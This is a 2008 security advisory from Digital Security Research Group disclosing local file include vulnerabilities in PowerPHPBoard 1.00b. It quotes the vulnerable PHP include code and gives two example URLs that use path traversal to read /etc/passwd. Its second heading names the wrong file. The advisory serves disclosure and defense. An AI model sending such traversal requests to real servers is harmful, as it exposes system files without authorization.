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PowerPHPBoard 1.00b multiple LFI



Multiple LFI in PowerPHPBoard 1.00b
Multiple LFI in PowerPHPBoard 1.00b




[DSECRG-08-021] Digital Security Research Group [DSecRG] Advisory       


Application:                    PowerPHPBoard
Versions Affected:              1.00b
Vendor URL: http://www.powerscripts.org/ 
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        24.03.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PowerPHPBoard has Multiple Local File Include vulnerabilities.


1. Local File Include vulnerability found in script footer.inc.php

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
****
#################################################

   if ($settings[footer]) {
    if (file_exists("inc/$settings[footer]")) {
      include("inc/$settings[footer]");
    } else {
      echo "
$lang_footerdoesntexists
"; } } else { include("inc/footer.ppb"); } ################################################# Example: http://[server]/[installdir]/footer.inc.php?settings[footer]=../../../../../../../../../../../../../etc/passwd --------------------------------------------------------------------- 2. Local File Include vulnerability found in script footer.inc.php To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file. Code **** ################################################# if (!$handler) { if ($handler = @mysql_pconnect($mysql[server], $mysql[user], $mysql[password])) { ... } } ... $query = "SELECT * FROM ppb_config WHERE id='1'"; $result = mysql_query($query,$handler); $num = mysql_num_rows($result); if ($num != 0) { list($settings[id], $settings[boardtitle], $settings[boardurl], $settings[adminemail], $settings[header], $settings[footer], $settings[bordercolor], $settings[tablebg1], $settings[tablebg2], $settings[tablebg3], $settings[htmlcode], $settings[bbcode], $settings[smilies], $settings[newthread], $settings[newpost], $settings[language]) = mysql_fetch_array($result); } ... if ($settings[header]) { if (file_exists("inc/$settings[header]")) { include("inc/$settings[header]"); } else { echo "
$lang_headerfiledoesntexists
"; } } else { include("inc/header.ppb"); } ################################################# Example: http://[server]/[installdir]/header.inc.php?handler=1234&settings[header]=../../../../../../../../../../../../../etc/passwd About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian) -- Alexandr Polyakov DIGITAL SECURITY RESEARCH GROUP mailto:research@dsec.ru


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